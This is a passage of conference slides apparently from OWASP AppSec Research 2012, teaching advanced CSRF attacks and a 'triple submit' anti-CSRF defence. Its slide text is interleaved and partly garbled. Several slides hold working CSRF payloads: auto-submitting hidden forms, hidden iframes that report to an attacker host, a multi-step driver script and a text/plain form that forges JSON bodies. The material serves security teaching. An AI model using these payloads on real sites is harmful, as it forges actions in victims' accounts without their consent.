Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Advanced CSRF and Stateless Anti-CSRF
1. Advanced CSRF
and
Stateless Anti-CSRF
@johnwilander at OWASP AppSec Research
2012
2. Frontend developer at
Svenska Handelsbanken
Researcher in application
security
Co-leader OWASP Sweden
@johnwilander
johnwilander.com (music)
johnwilander.se (papers
etc)
10. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
11. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
12. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
John: I hate OWASP!
13. What’s on your mind? What’s on your mind?
POST <form id="target" method="POST"
action="https://1-liner.org/form">
John: I hate OWASP! <input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
value="POST"/>
</form>
<script type="text/javascript">
$(document).ready(function() {
$('#form').submit();
});
</script>
14. <form id="target" method="POST"
action="https://1-liner.org/form">
<input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
What’s on your mind? What’s on your mind?
value="POST"/>
POST
</form>
John: I hate OWASP!
<script>
$(document).ready(function() {
$('#target').submit();
});
</script>
25. Invisible iframe for timed GET
<!DOCTYPE html>
<html>
<head>
<script>
var IFRAME_ID = "0", GET_SRC =
"http://www.vulnerable.com/some.html?param=1";
</script>
<script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>
csrfMulti0.ht
26. The iframed page configures which
URL to CSRF against via a JavaScript-
<!DOCTYPE html>
variable.
<html>
<head>
<script>
var IFRAME_ID = "0", GET_SRC =
"http://www.vulnerable.com/some.html?param=1";
</script>
<script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>
csrfMulti0.ht
27. <!DOCTYPE html>
<html>
<head>
<script>
When the iframe'sGET_SRC = done
var IFRAME_ID = "0",
DOM is
"http://www.vulnerable.com/some.html?param=1";
loading IFRAME_GETTER.onload() is
</script>
called.
<script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>
csrfMulti0.ht
28. <!DOCTYPE html>
<html>
<head>
<script>
var IFRAME_ID = "0", GET_SRC =
Let's"http://www.vulnerable.com/some.html?param=1";
look at
iframeGetter.js …
</script>
<script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>
csrfMulti0.ht
30. var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
var imgElement;
if(parent != undefined) {
parent.postMessage(IFRAME_ID,
"https://attackr.se:8444");
}
if(!IFRAME_GETTER.haveGotten) {
imgElement = document.createElement("img");
imgElement.setAttribute("src", GET_SRC);
imgElement.setAttribute("height", "0");
IFRAME_GETTER.onload() makes sure
imgElement.setAttribute("width", "0");
that the iframe reports back to the
imgElement.setAttribute("onerror",
"javascript:clearInterval(IFRAME_GETTER.intervalId)");
main page once every second.
document.body.appendChild(imgElement);
IFRAME_GETTER.haveGotten = true;
} so called heart beat function.
A
};
IFRAME_GETTER.onLoad = function() {
IFRAME_GETTER.intervalId =
setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
iframeGetter.js
31. var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
var imgElement;
if(parent != undefined) {
parent.postMessage(IFRAME_ID,
"https://attackr.se:8444");
}
if(!IFRAME_GETTER.haveGotten) {
In practice, document.createElement("img");
imgElement = the heart beats are
delivered via postMessage between
imgElement.setAttribute("src", GET_SRC);
imgElement.setAttribute("height", "0");
the iframe and the main page.
imgElement.setAttribute("width", "0");
imgElement.setAttribute("onerror",
"javascript:clearInterval(IFRAME_GETTER.intervalId)");
document.body.appendChild(imgElement);
IFRAME_GETTER.haveGotten = true;
}
};
IFRAME_GETTER.onLoad = function() {
IFRAME_GETTER.intervalId =
setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
iframeGetter.js
32. var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
var imgElement;
if(parent != undefined) {
The GET CSRF is"https://attackr.se:8444");
executed with an
parent.postMessage(IFRAME_ID,
} <img src="vulnerable URL">
if(!IFRAME_GETTER.haveGotten) {
imgElement = document.createElement("img");
imgElement.setAttribute("src", GET_SRC);
imgElement.setAttribute("height", "0");
imgElement.setAttribute("width", "0");
imgElement.setAttribute("onerror",
"javascript:clearInterval(IFRAME_GETTER.intervalId)");
document.body.appendChild(imgElement);
IFRAME_GETTER.haveGotten = true;
}
};
IFRAME_GETTER.onLoad = function() {
IFRAME_GETTER.intervalId =
setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
iframeGetter.js
33. var IFRAME_GETTER onerror event will fire
The = {};
IFRAME_GETTER.reportAndGet = function() { does
since the vulnerable URL
IFRAME_GETTER.haveGotten = false;
not respond with an image. We
var imgElement;
if(parent != undefined) {
use that event to stop the
parent.postMessage(IFRAME_ID,
heart beat function. No heart
"https://attackr.se:8444");
}
beat means the main page
if(!IFRAME_GETTER.haveGotten) {
imgElement = this step is done and
knows document.createElement("img");
imgElement.setAttribute("src", GET_SRC);
can continue opening the next
imgElement.setAttribute("height", "0");
iframe.
imgElement.setAttribute("width", "0");
imgElement.setAttribute("onerror",
"javascript:clearInterval(IFRAME_GETTER.intervalId)");
document.body.appendChild(imgElement);
IFRAME_GETTER.haveGotten = true;
}
};
IFRAME_GETTER.onLoad = function() {
IFRAME_GETTER.intervalId =
setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
iframeGetter.js
40. var IFRAME_POSTER = {};
IFRAME_POSTER.havePosted = false;
IFRAME_POSTER.reportAndPost = function() {
if(parent != undefined) {
parent.postMessage(IFRAME_ID,
"https://attackr.se:8444");
}
if(!IFRAME_POSTER.havePosted) { makes sure
IFRAME_POSTER.onload()
thedocument.forms['target'].submit(); main
iframe reports back to the
IFRAME_POSTER.havePosted = true;
page once every second. Again, a
}
};
heart beat function.
IFRAME_POSTER.onLoad = function() {
setInterval(IFRAME_POSTER.reportAndPost, 1000);
};
iframePoster
41. var IFRAME_POSTER = {};
IFRAME_POSTER.havePosted = false;
IFRAME_POSTER.reportAndPost = function() {
if(parent != undefined) {
parent.postMessage(IFRAME_ID,
"https://attackr.se:8444");
The heart beats stop automatically
}
when the POST is done since the
if(!IFRAME_POSTER.havePosted) {
document.forms['target'].submit();
iframe is loaded with thetrue;
IFRAME_POSTER.havePosted = response
}
}; from the web server that got the
POST.
IFRAME_POSTER.onLoad = function() {
setInterval(IFRAME_POSTER.reportAndPost, 1000);
};
iframePoster
42. The main page configures the order of
the CSRF steps, opens iframes and …
var CSRF = function(){
var hideIFrames = true,
frames = [
{id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'}
,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'}
],
appendIFrame =
function(frame) {
var domNode = '<iframe src="' + frame.src +
'" height="600" width="400"' +
(hideIFrames ? 'style="visibility: hidden"' : '') +
'></iframe>';
$("body").append(domNode);
};
…
csrfMultiDriver.ht
43. return { … listens on
checkIFrames : function() {
var frame; heart beats to
for (var i = 0; i < frames.length; i++) {
frame = frames[i]; time every
iframe
if (!frame.hasOpenedIFrame) {
appendIFrame(frame);
frame.hasOpenedIFrame = true;
break; // Only open one iframe at the time
} else if(frame.hasPosted == "no") {
frame.hasPosted = "maybe";
break; // iframe not done posting, wait
} else if(frame.hasPosted == "maybe") {
frame.hasPosted = "yes";
break; // iframe not done posting, wait
} else if (frame.hasPosted == "yes") {
continue; // Time to allow for the next iframe to open
}
}
},
receiveMessage : function(event) {
if (event.origin == "https://attackr.se:8444") {
CSRF.frames[parseInt(event.data)].hasPosted = "no";
// Still on CSRF page so POST not done yet
}
} csrfMultiDriver.ht
44. Demo Multi-Step,
Semi-Blind CSRF
against amazon.com
which has protection
against this.
The intention is to show
how you can test your
own sites.
65. <form id="target" method="POST"
action="https://vulnerable.1-liner.org:
8444/ws/oneliners"
style="visibility:hidden"
enctype="text/plain">
Forms produce a request body that
looks like this:
<input type="text"
name=””
theName=theValue
value="" />
... and that’s not valid JSON.
<input type="submit" value="Go" />
</form>
67. <form id="target" method="POST"
action="https://vulnerable.1-liner.org:
8444/ws/oneliners"
style="visibility:hidden" body that looks
Produces a request
like this:
enctype="text/plain">
<input type="text" 0, "nickName":
{"id":
name='{"id": "John","oneLiner": "I
0, "nickName": "John",
hate OWASP!","timestamp":
"oneLiner": "I hate OWASP!",
"20111006"}//=dummy
"timestamp": "20111006"}//'
value="dummy" />
... and that is acceptable JSON!
<input type="submit" value="Go" />
</form>
69. <form id="target" method="POST"
action="https://vulnerable.1-liner.org:
8444/ws/oneliners"
style="visibility:hidden" body that looks
Produces a request
like this:
enctype="text/plain">
<input type="text" 0, "nickName":
{"id":
name='{"id": "John","oneLiner": "I
0, "nickName": "John",
hate OWASP!","timestamp":
"oneLiner": "I hate OWASP!",
"20111006",
"timestamp": "20111006",
"paddingDummy": "="}
"paddingDummy": "'
value='"}' />
... and that is JSON!
<input type="submit" value="Go" />
70. Demo CSRF POST
then
Demo CSRF + XSS
The Browser Exploitation Framework
http://beefproject.com/
71. Important in your REST
API
• Restrict do CSRF with GETe.g. POST
Easier to
HTTP method,
• Restrict to AJAX if applicable
X-Requested-With:XMLHttpRequest
Cross-domain AJAX prohibited by default
• Restrict media type(s), e.g.
application/json
HTML forms only allow URL encoded, multi-
part and text/plain
85. Triple Submit
(CSRF protection)
Random HttpOnly cookie
Cookie value as
JavaScript variable
86. Triple Submit
(CSRF protection)
Random HttpOnly cookie
Cookie value as
request parameter
Stateful:
Cookie name saved in server session
Stateless:
Server only accepts one such cookie (checks format)
87. The 3rd Submit
• The server sets an HttpOnly cookie
with a random name and random
value
• The server tells the client the value
of the random cookie, not the name
• The client submits the value of the
cookie as a request parameter
88. The 3rd Submit
• The server sets an httpOnly cookie
response.setHeader("Set-Cookie",
randomName a random randomValue + ";
with + "=" + name and random
value
HttpOnly; path='/'; domain=.1-liner.org");
• The server tells the client the name
and value of the random cookie
• The Client submits the name and
value of the cookie as a request
parameter
89. The 3rd Submit
• The server sets an httpOnly cookie
with a random name and random
value
<script>
•
var ANTI_CSRF_TRIPLE the client the name %>;
The server tells = <%= randomValue
</script> value of the random cookie
and
• The Client submits the name and
value of the cookie as a request
parameter
90. The 3rd Submit
• Cookie value as parameter
• The cookie name
• The cookie value
91. My Demo System is Being
Released as an OWASP
• https://www.owasp.org/index.php?
title=OWASP_1-Liner
• https://github.com/johnwilander/
owasp-1-liner